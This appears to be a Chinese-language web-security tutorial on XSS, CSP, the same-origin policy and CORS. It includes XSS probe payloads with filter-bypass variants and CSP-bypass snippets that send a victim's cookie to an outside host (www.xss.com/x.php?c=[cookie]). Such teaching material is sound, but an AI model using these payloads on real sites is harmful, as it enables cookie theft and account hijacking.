XSS跨站脚本攻击

@wintry大约 7 分钟

漏洞概述

漏洞成因

当应用程序发送给浏览器的页面中包含用户提交的数据,但没有经过适当验证或转义时,就会导致跨站脚本漏洞。会造成Cookie窃取等危害。

XSS漏洞的防御方法

1)添加HTTP-only标头:禁止javascript读取敏感Cookie,即使攻击者能xss也不能获取Cookie

2)使用CSP浏览器内容安全策略白名单机制:对网站加载和执行的资源进行安全策略控制

3)代码层修复:控制输入输出的数据进行转义处理

漏洞分类

反射型

出现在搜索栏,用户登录等地方,常用来窃取客户端的Cookie进行钓鱼欺骗

想要窃取cookie要满足两个条件:

1.用户点击攻击者构造的URL

2.访问被攻击的应用服务(即存在xss的网站)

存储型

出现在留言、评论、博客日志等交互处,直接影响Web服务器自身安全

DOM型

基于文档对象模型(Document Object Model)的一种漏洞;

DOM型与反射型类似,都需要攻击者诱使用户点击专门设计的URL;

Dom型 xss 是通过 url 传入参数去控制触发的;

Dom型返回页面源码中看不到输入的payload, 而是保存在浏览器的DOM中

假设应用程序返回的页面包含以下脚本:

<script>
  var url = document.location;
  url = unescape(url);
  var message = url.substring(url.indexOf('message=') + 8,url.length);
  document.write(message);
</script>

把 javascript 代码作为message的参数,这段代码将会被动态的写入到页面中,并像服务器返回代码一样得以执行。DOM型与反射 型类似,都需要攻击者诱使用户点击专门设计的URL

查找验证XSS漏洞

一般来说就是找输入点的可控参数,比如搜索框、留言板、 登录 / 注册,构造payload发送,监控响应

"><script>alert(document.cookie)</script>

把这个字符串提交给每个应用程序页面的每个参数;

同时监控它的响应,如果攻击字符串原样出现在响应中,就可能存在XSS漏洞。

许多应用可能会经过黑名单等简单的初步过滤,试图阻止XSS攻击; 可以通过编码等方式绕过:

"><ScRiPt>alert(document.cookie)</ScRiPt>
"%3e%3cscript%3ealert(document.cookie)%3c/script%3e
"><scr<script>ipt>alert(document.cookie)</scr</script>ipt>
%00"><script>alert(document.cookie)</script>

或者直接Web漏扫

XSS前端编码:https://github.com/evilcos/xssor2 open in new window

Xss-cheat-sheet: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet open in new window

CSP内容安全策略

两种方法启用CSP

1)添加HTTP头部信息

Content-Security-Policy: script-src 'self';object-src 'none';style-src cdn.example.org; child-src https;

2)使用 meta 标签

<meta http-equiv="Content-Security-Policy" content="script-src 'self';object-src 'none';style-src cdn.example.org;child-src https;">

script-src(脚本):只信任当前域名
object-src(标签):不信任任何URL,即不加载任何资源
样式表:只信任http://cdn.example.org
框架(frame):必须使用HTTPS协议加载

绕过CSP

1)URL跳转

default-src 'none'的情况下,可以使用meta标签实现跳转

<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >

在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过

<script>
 window.location="http://www.xss.com/x.php?c=[cookie]";
</script>

2)ifrmae

如页面A有CSP限制,但页面B没有,同时A和B同源,那么就可以在A页面中包含B页面来绕过CSP

<iframe src="B"></iframe>

在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御

例如"http://xxx"页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库
<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>

同源策略

提示

同源策略是目前所有浏览器都实行的一种安全策略,只有发布Cookie的网站才能读取Cookie。

A网页设置的 Cookie,B网页不能读取,除非这两个网页同源。

所谓同源,是指:两个网页,协议(protocol)、端口(port)、和主机(host)都相同

如果非同源,以下三种行为受到限制

(1) Cookie、LocalStorage无法读取

(2) DOM 无法获得

(3) AJAX 请求不能发送

如果子域名和顶级域名不同源,在哪里可以设置让他们同源?

两个网页一级域名相同,只是二级域名不同,浏览器允许通过设置document.domain属性共享 Cookie,拿到DOM等。

// 对于文档 www.example.com/good.html
// 在根域范围内,可以 把domain属性的值设置为它的上一级域
document.domain = "example.com";
var domain = document.domain;

如何规避同源策略?

  • JSONP (参数式JSON)
  • CORS (跨域资源共享)

JSONP只支持GET请求,CORS支持所有类型的HTTP请求。

JSONP的优势在于支持老式浏览器,以及可以向不支持CORS的网站请求数据。

JSONP

JSON with Padding,是服务器与客户端跨源通信的常用方法。

JSONP原理就是动态插入带有跨域url的<script>标签,然后调用回调函数。

CORS

Cross-Origin Resource Sharing,允许浏览器向跨源服务器发出XMLHttpRequest请求。

它是W3C标准,是跨源AJAX请求的根本解决方法。

CORS请求大致和ajax请求类似,但是在HTTP头信息中加上了Origin字段表明请求来自哪个源。

如果 origin 是许可范围之内的话,服务器返回的响应会多出Access-Control-Allow-*的字段

CORS简单请求

只要同时满足以下两大条件,就属于简单请求

1)请求方法是以下三种方法之一

GET
POST
HEAD

2)HTTP的头信息不超出以下几种字段

Accept
Accept-Language
Content-Language
Last-Event-ID
Content-Type:application/x-www-form-urlencoded,multipart/form-data,text/plain 

浏览器发现这次跨源AJAX请求是简单请求,就自动在头信息之中,添加一个Origin字段

GET /cors HTTP/1.1
Origin: http://api.b.com
Host: api.a.com

Origin字段用来说明本次请求来自哪个源(协议 + 域名 + 端口)

服务器根据这个值,决定是否同意这次请求

响应字段,可请求资源范围 Access-Control-Allow-Origin:* 表示同意任意跨源请求

简单请求有三个重要的响应头

(1) Access-Control-Allow-Origin

该字段是必须的,它的值要么是请求时Origin字段的值,要么是一个*,表示接受任意域名的请求

(2)Access-Control-Allow-Credentials

该字段可选,它的值是一个布尔值,表示是否允许发送Cookie。

默认情况下,Cookie不包括在CORS请求之中。

设为true,即表示服务器明确许可,Cookie可以包含在请求中,一起发给服务器。

这个值也只能设为true,如果服务器不要浏览器发送Cookie,删除该字段即可

(3) Access-Control-Expose-Headers

可选字段,XMLHttpRequest对象的getResponseHeader()方法只能拿到6个基本字段:

Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma

如果想拿到其他字段,就必须在Access-Control-Expose-Headers里面指定

例如,getResponseHeader('wintrysec')可以返回wintrysec字段的值

CORS非简单请求

对服务器有特殊要求的请求,比如PUT方法,自定义HTTP-HEAD头部等;

非简单请求会在正式通信之前增加一次HTTP查询请求,称为"预检"请求;

预检请求用OPTIONS方法询问服务器允许的方法。

预检请求的头信息包括两个特殊字段

(1)Access-Control-Request-Method

该字段是必须的,用来列出浏览器的CORS请求会用到哪些HTTP方法.

(2)Access-Control-Request-Headers

指定浏览器CORS请求会额外发送的http头部信息字段,多个字段用逗号分隔

如果浏览器否定了"预检"请求,会返回一个正常的HTTP回应,但是没有任何CORS相关的头信息字段响应

服务器响应的其他CORS相关字段如下:

Access-Control-Allow-Methods: GET, POST, PUT        //服务器支持的所有跨域请求的方法
Access-Control-Allow-Headers: X-Custom-Header       //服务器支持的所有头信息字段
Access-Control-Allow-Credentials: true              //表示是否允许发送Cookie
Access-Control-Max-Age: 1728000                     //用来指定本次预检请求的有效期,单位为秒

一旦服务器通过了"预检"请求,以后每次浏览器正常的CORS请求,就都跟简单请求一样,会有一个Origin头信息字段。服务器的回应,也都会有一个Access-Control-Allow-Origin头信息字段